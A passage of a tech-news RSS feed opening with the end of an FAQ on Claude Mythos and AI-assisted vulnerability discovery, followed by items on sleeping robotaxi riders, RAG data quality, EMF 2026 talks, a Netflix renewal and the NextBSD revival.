<p class="wp-block-paragraph">Cisco, one of Anthropic’s Project Glasswing partners, <a href="https://blogs.cisco.com/ai/announcing-foundry-security-spec">open-sourced its Foundry Security Spec</a>, a model-agnostic “harness” for security testing, so that other vendors and enterprise security defenders could build similar workflows without starting from scratch.</p>



<p class="wp-block-paragraph">During a recent web conference, representatives from Cisco argued that defenders can use AI to identify, confirm, and resolve security issues at much greater speed and scale. Older vulnerability remediation models based on “find one issue, patch one issue” are no longer adequate because attackers are using AI moving to accelerate the path from vulnerability discovery to exploitation.</p>



<p class="wp-block-paragraph">Cisco has been using AI internally to scan 1.8 billion lines of code across its whole product portfolio.</p>



<p class="wp-block-paragraph">Smaller businesses do not need access to restricted AI models to improve security and more can be achieved in smaller shops by improving security fundamentals such as authentication, segmentation, zero trust, and prioritizing the remediation of actively exploited vulnerabilities, according to Cisco.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">6.</span>
<h2 class="wp-block-heading">Do other AI vendors offer anything comparable to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Mythos is the most prominent example of frontier AI models that can automate zero-day discovery at a scale and speed far beyond the capability of human teams.</p>



<p class="wp-block-paragraph">Several other vendors have frontier AI models aimed towards high-capability, security-oriented operations while others have capable open models that might easily be applied to cybersecurity research.</p>



<p class="wp-block-paragraph">As a result, Claude Mythos is far from the only game in town.</p>



<p class="wp-block-paragraph">For example, OpenAI’s GPT-5.4-Cyber (and <a href="https://openai.com/index/gpt-5-5-with-trusted-access-for-cyber/">GPT-5.5</a>) has applications in vulnerability analysis and discovery as well as malware analysis and threat modelling. Security vendors, enterprises, and researchers can gain access to the technology through OpenAI’s Trusted Access for Cyber (TAC) scheme.</p>



<p class="wp-block-paragraph">Chinese cybersecurity firm <a href="https://www.reuters.com/legal/litigation/chinas-360-says-it-has-developed-tools-match-anthropics-mythos-2026-06-24/">360 Security Technology has developed Tulongfeng</a>, described as a domestic answer to Anthropic’s Mythos.</p>



<p class="wp-block-paragraph">High performance open models — including DeepSeek V3.2 and Llama 4 — can be run privately on GPU infrastructure and applied to cybersecurity research. Fugu from Japanese vendor Sakana AI offers another option in this category.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">7.</span>
<h2 class="wp-block-heading">What do cybersecurity critics say about Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Infosecurity critics note that while Claude Mythos is unquestionably advanced, marketing claims that it is reliably breaking production systems overstate its capabilities.</p>



<p class="wp-block-paragraph">Security professionals are complaining through <a href="https://www.youtube.com/watch?v=mx0CpTp3Q4Y">podcasts</a> and elsewhere about the overly sensitive guardrails in Claude Fable that downgrade to Opus 4.8 upon requests to summarize a security-related blog post or even spell the word “exploit” much less tackle any everyday information security task.</p>



<p class="wp-block-paragraph">Other experts warn that false positives are likely to be an issue for cybersecurity research using frontier AI models.</p>



<p class="wp-block-paragraph">The wider criticism is that finding more vulnerabilities faster fails to address the bigger problem of reliability fixing security bugs or non-technical attack paths such as social engineering.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">8.</span>
<h2 class="wp-block-heading">How should enterprise CISOs respond to the development of Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Western intelligence agencies that form the <a href="https://www.ncsc.gov.uk/sites/default/files/2026-06/Five-Eyes-cyber-security-agencies-statement-ai-shift.pdf">Fives Eyes alliance issued a statement warning that frontier AI models such as Claude Mythos</a> are “fundamentally transforming both offensive and defensive cyber capabilities” in a scale of months rather than years.</p>



<p class="wp-block-paragraph">“While Al will help us improve cyber defence over time, it also accelerates the speed, scale, and sophistication of cyber threats,” the group, which includes the US National Security Agency and the UK’s National Cyber Security Centre, warns.</p>



<p class="wp-block-paragraph">Enterprises need to be using AI to strengthen defenses as part of broader plans to improve cybersecurity resilience.</p>



<p class="wp-block-paragraph">AI-based systems capable of mapping realistic attack paths faster than any human adversary are fast becoming a pervasive threat, while most organizations are nowhere near ready for what that means for their threat models, one expert warns.</p>



<p class="wp-block-paragraph">“We now have AI systems that can map realistic attack paths across software, vendors, and critical infrastructure faster than human adversaries can catalog them,” says Joe Hubback, partner and CISO at consultancy Elixirr and former McKinsey Partner. “And as Mythos-class capabilities are prepared for broad commercial release, that’s no longer a niche research problem, it’s something every organization will have to factor into its threat model.”</p>



<p class="wp-block-paragraph">An <a href="https://labs.cloudsecurityalliance.org/wp-content/uploads/2026/04/mythosready-20260413.pdf">AI safety paper from the Cloud Security Alliance</a> warns that AI has significantly compressed the time between vulnerability discovery and exploitation, outpacing traditional patch-and-react security models. Organizations should brace for ongoing waves of AI-discovered vulnerabilities from Project Glasswing and other sources.</p>



<p class="wp-block-paragraph">“The capabilities seen in Mythos will quickly become more widely available, dramatically increasing the number and frequency of complex, novel attacks organizations will face,” it warns.</p>



<p class="wp-block-paragraph">Enterprise security defenders need to shift to a “Mythos-ready” approach built around continuous vulnerability operations, faster prioritization, and improved incident response.</p>
</div>
</div></div>
</div>



<p class="wp-block-paragraph"><strong>See also:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">What Anthropic Glasswing reveals about the future of vulnerability discovery</a></li>



<li><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">Anthropic’s Mythos signals a structural cybersecurity shift</a></li>



<li><a href="https://www.csoonline.com/article/4180920/beware-the-son-of-mythos-security-experts-warn.html">Beware the ‘son of Mythos,’ security experts warn</a></li>



<li><a href="https://www.csoonline.com/article/4189600/mythos-is-a-signal-not-a-siren-what-frontier-ai-should-change-for-cisos.html">Mythos is a signal, not a siren: What frontier AI should change for CISOs</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dozens of Robotaxi Riders Are Falling Asleep, Sparking Frantic Calls For Emergency Services]]></title>
<description><![CDATA["If tired or wasted passengers fall asleep in a traditional taxi or rideshare, the driver can shout or shake them awake," reports Bloomberg. "Not so in a robotaxi..."

Ditto Kasendar remembers soft music drifting from the robotaxi's speakers as he rode home late at night from a friend's birthday ...]]></description>
<link>https://tsecurity.de/de/3680123/it-security-nachrichten/dozens-of-robotaxi-riders-are-falling-asleep-sparking-frantic-calls-for-emergency-services/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680123/it-security-nachrichten/dozens-of-robotaxi-riders-are-falling-asleep-sparking-frantic-calls-for-emergency-services/</guid>
<pubDate>Mon, 20 Jul 2026 01:23:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["If tired or wasted passengers fall asleep in a traditional taxi or rideshare, the driver can shout or shake them awake," reports Bloomberg. "Not so in a robotaxi..."

Ditto Kasendar remembers soft music drifting from the robotaxi's speakers as he rode home late at night from a friend's birthday party in 2025. The next moment, Los Angeles firefighters were opening the door and asking if he was OK. His six-minute trip had ended nearly an hour before. A remote Waymo assistant, dialling in through the car's speakers, repeatedly tried to rouse him and finally called 911 when he wouldn't stir... 

Kasendar's robocab nap was, unfortunately, not an isolated incident. As companies like Alphabet and Tesla bring self-driving taxis to more cities, the messier aspects of serving unpredictable humans are becoming harder to ignore. Passengers are falling asleep, spilling drinks, dropping food, vomiting, experiencing medical emergencies and, in at least two instances, giving birth in the cars. They stumble out of the vehicles and forget to close the doors, forcing the operators to pay nearby gig workers to do it. 
These seemingly minor nuisances are becoming a drain on municipal resources and complicating the roll-out of robotaxi service. So many robotaxi customers have nodded off in the midst of a ride that Austin police and firefighters even have a name for the incidents: "sleepers". The Texas capital recorded 99 such calls in Waymo's first nine months of service there, said Roger Patterson, a commander with Austin-Travis County Emergency Medical Services... Remote assistants monitoring the cars try talking through the speakers and checking on passengers with interior cameras. But if they get no response, company protocols often require them to call 911. And first responders have to assume the worst. Austin dispatchers treat an incident as a potential heart attack if the remote assistant can't tell whether the passenger is breathing, Patterson said. In the end, only about 3% of such calls require transporting the passenger to a hospital, he said. But the incidents tie up personnel who might be needed elsewhere.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Dozens+of+Robotaxi+Riders+Are+Falling+Asleep%2C+Sparking+Frantic+Calls+For+Emergency+Services%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F19%2F236218%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F19%2F236218%2Fdozens-of-robotaxi-riders-are-falling-asleep-sparking-frantic-calls-for-emergency-services%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/19/236218/dozens-of-robotaxi-riders-are-falling-asleep-sparking-frantic-calls-for-emergency-services?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The cleanup trap: Stop asking RAG to fix bad data]]></title>
<description><![CDATA[The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.When a project fails, the immediate instinct of te...]]></description>
<link>https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/</guid>
<pubDate>Sun, 19 Jul 2026 22:32:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.</p><p>When a project fails, the immediate instinct of technical leadership is often to blame the model: The context window was too restrictive, the latency was too high, or the reasoning capabilities simply were not there.</p><p>But as data engineers building the scaffolding for these systems, we often see a different reality: The model receives the blame, but the pipeline usually contains the root cause. Production gen AI rarely fails because of model limitations alone. More often, it fails because the enterprise data foundation underneath it is fundamentally unready.</p><p>This is what I call the 'Cleanup Trap': The false belief that an organization can pipe fragmented, inconsistent, and ungoverned legacy data into a large language model (LLM) orchestrator and simply “clean it up” or patch it at the retrieval layer.</p><h2><b>The mirage of the retrieval layer</b></h2><p>In a standard retrieval-augmented generation (RAG) architecture, the retrieval layer is tasked with pulling relevant business context to ground the model’s responses. Because modern frameworks make it simple to stand up a vector database and a basic embedding pipeline, leadership often assumes that the data engineering problem is solved.</p><p>It is not.</p><p>When an embedding model receives raw, unvalidated data directly from operational silos, the resulting vector space inherits the structural noise, duplicate records, and conflicting states present in the source systems.</p><p>If the core data pipeline suffers from silent degradation — schema drift, missing fields, delayed change-data-capture (CDC) synchronization — that degradation cascades directly into the vector store. An AI model cannot accurately synthesize customer intelligence if the data pipeline behind it is serving stale, contradictory profiles across disparate storage layers.</p><p>No amount of prompt engineering, semantic reranking, or vector hyperparameter tuning can compensate for a broken ingestion pipeline. If the foundation is compromised, the downstream application will hallucinate, expose unauthorized context, or fail to deliver deterministic value.</p><h2><b>Shifting from ad-hoc patching to programmatic guardrails</b></h2><p>To break out of the 'Cleanup Trap,' enterprise data teams must stop treating data quality as a post-processing step. They need to treat data readiness for AI with the same rigor they bring to traditional transaction processing.</p><p>This requires a deliberate architectural shift toward zero-trust data ingestion, structured validation frameworks, and automated anomaly detection before data ever reaches an AI orchestration layer.</p><h3><b>1. Harden the ingestion pipeline</b></h3><p>Data quality checks cannot exist as a nightly batch afterthought. If an enterprise AI application relies on real-time data to assist users, validation must happen inline.</p><p>Teams should implement explicit schema validation checks at the earliest ingestion point, such as the streaming ingress layer or the bronze landing layer of a medallion architecture. If an upstream operational database mutates a schema without warning, the pipeline should quarantine anomalous payloads rather than allowing corrupted metadata to pollute downstream AI contexts.</p><h3><b>2. Use multi-tiered algorithmic validation</b></h3><p>Static row-count validation rules are insufficient for AI readiness. True data health requires a multi-tiered approach.</p><p>This means pairing structural verification — null checks, type conformance, and schema validation — with statistical profiling to monitor for data drift. Tracking metric deviations across feature distributions helps ensure that historical context remains stable over time.</p><p>If a pipeline suddenly processes an unexpected spike in empty string variables or structurally deviant fields, automated alerts should trigger an immediate pause before vector database updates continue.</p><h3><b>3. Decouple security and compliancemfrom the model</b></h3><p>An LLM should never be the arbiter of data access control. Trying to enforce row-level security or personal data filtering through system prompts is a compliance risk.</p><p>Security must be managed within the data infrastructure tier. Enterprise data foundations should enforce strict access controls, tokenization of sensitive identifiers, and rigorous lineage tracing before information is indexed into vector stores or passed into an agent’s context window.</p><h2><b>Technical alignment: A pragmatic blueprint</b></h2><p>For technology leaders mapping their infrastructure roadmaps, AI readiness requires evaluating data pipelines against a strict operational checklist.</p><ul><li><p>Can you trace a flawed AI response back to the exact pipeline execution, source record, and transformation step that produced it?</p></li><li><p>Does your data lake architecture have a programmatic mechanism to segment and quarantine corrupted or non-compliant data before it reaches production feature stores?</p></li><li><p>Are your operational systems and AI-facing vector databases tightly synchronized, or are your agents making automated decisions based on outdated snapshots?</p></li></ul><p>These questions matter because production AI is not just a model deployment problem. It is a data reliability problem.</p><h2><b>Building for the production era</b></h2><p>The honeymoon phase of gen AI experimentation is ending. Enterprise leaders are demanding measurable, predictable, and secure business outcomes from their AI investments.</p><p>If an organization wants to transition from isolated, impressive-looking demos to resilient, production-grade AI systems, it must redirect its focus. Stop looking exclusively at the model tier.</p><p>The real competitive differentiator is not only the LLM an organization chooses. It is the engineering discipline, data governance, and pipeline resilience of the infrastructure built to feed it.</p><p>In the production era of AI, data engineering is no longer a backend function. It is the control plane for enterprise intelligence.</p><p><i>Naveen Ayalla is a senior data engineer. </i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What are future developments of desktop linux?]]></title>
<description><![CDATA[Recently we had immutable and atomic, but is there anything in development now that might see staple use in the future? Like the next 5 years or so considering the current state of development, maybe something along the lines of some new fs or idk some revolutionary new wine stuff, or just a para...]]></description>
<link>https://tsecurity.de/de/3679947/linux-tipps/what-are-future-developments-of-desktop-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679947/linux-tipps/what-are-future-developments-of-desktop-linux/</guid>
<pubDate>Sun, 19 Jul 2026 22:24:25 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Recently we had immutable and atomic, but is there anything in development now that might see staple use in the future? Like the next 5 years or so considering the current state of development, maybe something along the lines of some new fs or idk some revolutionary new wine stuff, or just a paradigm changer like... immutables that changes the way a traditional linux desktop works..................</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Thermawrench"> /u/Thermawrench </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v0swzi/what_are_future_developments_of_desktop_linux/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v0swzi/what_are_future_developments_of_desktop_linux/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix Finally Shares an Update on ‘XO, Kitty’ Season 4]]></title>
<description><![CDATA[Netflix has finally provided some clarity about the future of XO, Kitty, but fans will need to wait longer for a firm renewal announcement. The streaming service has not officially ordered Season 4 yet.



Netflix is considering two possible endings



According to a new report, Paramount Televis...]]></description>
<link>https://tsecurity.de/de/3679712/ios-mac-os/netflix-finally-shares-an-update-on-xo-kitty-season-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679712/ios-mac-os/netflix-finally-shares-an-update-on-xo-kitty-season-4/</guid>
<pubDate>Sun, 19 Jul 2026 17:38:58 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix has finally provided some clarity about the future of XO, Kitty, but fans will need to wait longer for a firm renewal announcement. The streaming service has not officially ordered Season 4 yet.



Netflix is considering two possible endings



According to a new report, Paramount Television Studios has extended Netflix’s option on XO, Kitty. The cast options have also been extended, keeping Anna Cathcart, Sang Heon Lee and other key actors available while discussions continue.



The update suggests that Netflix has not quietly cancelled the romantic comedy series. However, executives and the creative team are still deciding how Kitty Song Covey’s story should continue.



One option is a traditional fourth season featuring more episodes. The other is a feature-length movie that would conclude the remaining storylines. Creator Jenny Han previously ended the original To All the Boys I’ve Loved Before story through a trilogy of Netflix movies, making a final XO, Kitty film a realistic possibility.



Season 3 delivered strong viewing numbers



The delay is surprising because XO, Kitty Season 3 performed well after arriving on Netflix on April 2, 2026. It recorded 12.9 million views during its opening four days and reached the top of Netflix’s English-language television chart.



Season 3 later reached 29.3 million views through June 30 and ranked No. 16 among Netflix’s most-watched series during the reporting period.



The latest season also created a clear path for another chapter. Kitty and Min Ho repaired their relationship and travelled to the United States, where Min Ho planned to meet Kitty’s family.



For now, XO, Kitty Season 4 remains undecided. The extension involving the studio and cast keeps the series alive, but Netflix must still choose between another full season and a final movie.]]></content:encoded>
</item>
<item>
<title><![CDATA[An Internet for the Solar System (emf2026)]]></title>
<description><![CDATA[This talk explores the emerging concept of “An Internet for the Solar System” — a networked approach to interplanetary communication that could transform how spacecraft, habitats, and missions share data beyond Earth. Starting with NASA’s LunaNet initiative, we will examine how principles from te...]]></description>
<link>https://tsecurity.de/de/3679529/it-security-video/an-internet-for-the-solar-system-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679529/it-security-video/an-internet-for-the-solar-system-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 15:33:06 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This talk explores the emerging concept of “An Internet for the Solar System” — a networked approach to interplanetary communication that could transform how spacecraft, habitats, and missions share data beyond Earth. Starting with NASA’s LunaNet initiative, we will examine how principles from terrestrial internet infrastructure are being adapted for the unique challenges of space: extreme latency, intermittent connectivity, and vast distances.

The session will introduce Delay/Disruption Tolerant Networking (DTN), a key protocol framework enabling reliable communication where traditional internet models fail. We will explore how LunaNet envisions a federated system of lunar orbiters, surface relays, and Earth-based nodes working together as a scalable, interoperable network.

A particular focus will be placed on ground infrastructure, including the role of commercial and community-accessible deep space facilities such as Goonhilly Earth Station. Once a cornerstone of satellite communications, Goonhilly is now re-emerging as a key player in deep space data links, supporting missions and opening opportunities for non-governmental participation in space communications.

The talk will also consider future extensions of this interplanetary internet: Mars networks, autonomous routing between spacecraft, and the potential for open standards that enable wider access beyond national space agencies.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/45-an-internet-for-the-solar-system]]></content:encoded>
</item>
<item>
<title><![CDATA[Have you thought about your digital legacy? (emf2026)]]></title>
<description><![CDATA[Content warning: Contains frank conversations about death

Death is inevitable, yet our digital infrastructure remains woefully unprepared for it. While traditional "Letters of Wishes" provide a static roadmap for executors, they lack the agency to interact with our complex, data-driven lives. Th...]]></description>
<link>https://tsecurity.de/de/3679414/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679414/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:47:50 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Content warning: Contains frank conversations about death

Death is inevitable, yet our digital infrastructure remains woefully unprepared for it. While traditional &quot;Letters of Wishes&quot; provide a static roadmap for executors, they lack the agency to interact with our complex, data-driven lives. This workshop introduces the concept of the Machine-Readable Letter of Wishes: a framework for post-mortem autonomy. By applying a &quot;If This, Then That&quot; (IFTTT) logic to digital legacies, we will explore how to automate final wishes across various services, ensuring data is handled with human dignity and precision.

Traditionally, a Letter of Wishes is a physical document offering non-binding guidance to those named in a will. However, in an era of encrypted accounts, fragmented cloud storage and AI. Paper often falls short. 

This workshop moves from the philosophical to the practical:

* Defining the digital legacy: Identifying the specific data points, social accounts, and assets that constitute a modern legacy.
* Pipe mapping: Applying IFTTT methodology to personal wishes (e.g., &quot;If I am inactive for 12 months, then transfer my photo archive to named person
* Exploring autonomy: Discussing the ethical implications of automated execution and how it can alleviate the &quot;administrative burden of grief&quot; for executors.

In the workshop people will gain a foundational understanding of how automation can protect digital rights and dignity, starting that important conversation that benefits individuals, their loved ones, and society.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/151-have-you-thought-about-your-digital-legacy]]></content:encoded>
</item>
<item>
<title><![CDATA[Have you thought about your digital legacy? (emf2026)]]></title>
<description><![CDATA[Content warning: Contains frank conversations about death

Death is inevitable, yet our digital infrastructure remains woefully unprepared for it. While traditional "Letters of Wishes" provide a static roadmap for executors, they lack the agency to interact with our complex, data-driven lives. Th...]]></description>
<link>https://tsecurity.de/de/3679399/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679399/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:33:31 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Content warning: Contains frank conversations about death

Death is inevitable, yet our digital infrastructure remains woefully unprepared for it. While traditional &quot;Letters of Wishes&quot; provide a static roadmap for executors, they lack the agency to interact with our complex, data-driven lives. This workshop introduces the concept of the Machine-Readable Letter of Wishes: a framework for post-mortem autonomy. By applying a &quot;If This, Then That&quot; (IFTTT) logic to digital legacies, we will explore how to automate final wishes across various services, ensuring data is handled with human dignity and precision.

Traditionally, a Letter of Wishes is a physical document offering non-binding guidance to those named in a will. However, in an era of encrypted accounts, fragmented cloud storage and AI. Paper often falls short. 

This workshop moves from the philosophical to the practical:

* Defining the digital legacy: Identifying the specific data points, social accounts, and assets that constitute a modern legacy.
* Pipe mapping: Applying IFTTT methodology to personal wishes (e.g., &quot;If I am inactive for 12 months, then transfer my photo archive to named person
* Exploring autonomy: Discussing the ethical implications of automated execution and how it can alleviate the &quot;administrative burden of grief&quot; for executors.

In the workshop people will gain a foundational understanding of how automation can protect digital rights and dignity, starting that important conversation that benefits individuals, their loved ones, and society.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/151-have-you-thought-about-your-digital-legacy]]></content:encoded>
</item>
<item>
<title><![CDATA[An Internet for the Solar System (emf2026)]]></title>
<description><![CDATA[This talk explores the emerging concept of “An Internet for the Solar System” — a networked approach to interplanetary communication that could transform how spacecraft, habitats, and missions share data beyond Earth. Starting with NASA’s LunaNet initiative, we will examine how principles from te...]]></description>
<link>https://tsecurity.de/de/3679392/it-security-video/an-internet-for-the-solar-system-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679392/it-security-video/an-internet-for-the-solar-system-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:17:57 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This talk explores the emerging concept of “An Internet for the Solar System” — a networked approach to interplanetary communication that could transform how spacecraft, habitats, and missions share data beyond Earth. Starting with NASA’s LunaNet initiative, we will examine how principles from terrestrial internet infrastructure are being adapted for the unique challenges of space: extreme latency, intermittent connectivity, and vast distances.

The session will introduce Delay/Disruption Tolerant Networking (DTN), a key protocol framework enabling reliable communication where traditional internet models fail. We will explore how LunaNet envisions a federated system of lunar orbiters, surface relays, and Earth-based nodes working together as a scalable, interoperable network.

A particular focus will be placed on ground infrastructure, including the role of commercial and community-accessible deep space facilities such as Goonhilly Earth Station. Once a cornerstone of satellite communications, Goonhilly is now re-emerging as a key player in deep space data links, supporting missions and opening opportunities for non-governmental participation in space communications.

The talk will also consider future extensions of this interplanetary internet: Mars networks, autonomous routing between spacecraft, and the potential for open standards that enable wider access beyond national space agencies.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/45-an-internet-for-the-solar-system]]></content:encoded>
</item>
<item>
<title><![CDATA[Signalling on the London Underground (emf2026)]]></title>
<description><![CDATA[A deep dive into the history and technical innovations that have facilitated the (usually) speedy transit of millions of daily passengers across London. We begin with a short history of the network, cover the differences required for tunnel based signalling under a bustling capital, explore some ...]]></description>
<link>https://tsecurity.de/de/3678655/it-security-video/signalling-on-the-london-underground-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678655/it-security-video/signalling-on-the-london-underground-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 02:16:52 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A deep dive into the history and technical innovations that have facilitated the (usually) speedy transit of millions of daily passengers across London. We begin with a short history of the network, cover the differences required for tunnel based signalling under a bustling capital, explore some amazing inventions to handle rising passenger demand, and finish with the current state of communications based train control which has been gradually displacing traditional fixed signalling on the underground. The author is a volunteer at the London Transport Museum but this talk is not affiliated.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/36-signalling-on-the-london-underground]]></content:encoded>
</item>
<item>
<title><![CDATA[Signalling on the London Underground (emf2026)]]></title>
<description><![CDATA[A deep dive into the history and technical innovations that have facilitated the (usually) speedy transit of millions of daily passengers across London. We begin with a short history of the network, cover the differences required for tunnel based signalling under a bustling capital, explore some ...]]></description>
<link>https://tsecurity.de/de/3678598/it-security-video/signalling-on-the-london-underground-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678598/it-security-video/signalling-on-the-london-underground-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 01:17:42 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A deep dive into the history and technical innovations that have facilitated the (usually) speedy transit of millions of daily passengers across London. We begin with a short history of the network, cover the differences required for tunnel based signalling under a bustling capital, explore some amazing inventions to handle rising passenger demand, and finish with the current state of communications based train control which has been gradually displacing traditional fixed signalling on the underground. The author is a volunteer at the London Transport Museum but this talk is not affiliated.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/36-signalling-on-the-london-underground]]></content:encoded>
</item>
<item>
<title><![CDATA[NextBSD Returns to Port Apple Source Onto FreeBSD]]></title>
<description><![CDATA["One of the most interesting BSD variants of the 2010s, NextBSD, has come back to life under new management," reports The Register:


Aside from the homepage, there's a GitHub repository — but beware, this is separate from the old one, whose repo is still there although the most recent changes we...]]></description>
<link>https://tsecurity.de/de/3678414/it-security-nachrichten/nextbsd-returns-to-port-apple-source-onto-freebsd/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678414/it-security-nachrichten/nextbsd-returns-to-port-apple-source-onto-freebsd/</guid>
<pubDate>Sat, 18 Jul 2026 20:52:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["One of the most interesting BSD variants of the 2010s, NextBSD, has come back to life under new management," reports The Register:


Aside from the homepage, there's a GitHub repository — but beware, this is separate from the old one, whose repo is still there although the most recent changes were seven years ago. The new project also has a project history giving credit where it's due. The main man behind the revival is Joe Maloney, known on GitHub as pkgdemon. In case his name rings a bell, we've mentioned him before: he put together the Gershwin desktop in GhostBSD. Soon after we covered Gershwin on GhostBSD, he asked the maintainers if he could take over the NextBSD project. He did have a relatively minor role in the original — you can see his list of commits. 


The original NextBSD project was started by FreeBSD co-founder Jordan Hubbard in 2015 — its Wikipedia article has some of the history. The plan was to port some of the components of Apple's Darwin OS to FreeBSD... [T]he NextBSD plan is to take the FreeBSD kernel, the most capable of the FOSS BSD kernels, but replace FreeBSD's traditional and server-focused userland with the relevant parts of the publicly available Apple code. The rebooted NextBSD-redux is not based on a fork of the decade-old code. FreeBSD has moved on substantially in that time, and so have macOS and Darwin. This is a new project by a new developer, but it picks up the same overall plan, aims to assemble the same puzzle pieces, and shares the same intended goal. 


In places, it does draw on a little of the same code, though. The NextBSD-redux README describes what's working so far, with a lot more detail in the porting notes. Although there's no graphical desktop yet, that's underway as well.... For us, perhaps the key aspect of NextBSD — both the original version and NextBSD-redux — is that it isn't an effort to build something completely new from scratch. It's an effort to cherry-pick and combine elements of existing separate FOSS projects, and assemble them into a useful whole. 


The Team section of the homepage lists two core developers: Maloney and Anthropic's Claude Code. "From my perspective, AI is a force multiplier here," Maloney told The Register. "It is my team of developers, but I am steering the entire thing."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=NextBSD+Returns+to+Port+Apple+Source+Onto+FreeBSD%3A+https%3A%2F%2Fbsd.slashdot.org%2Fstory%2F26%2F07%2F18%2F1843243%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
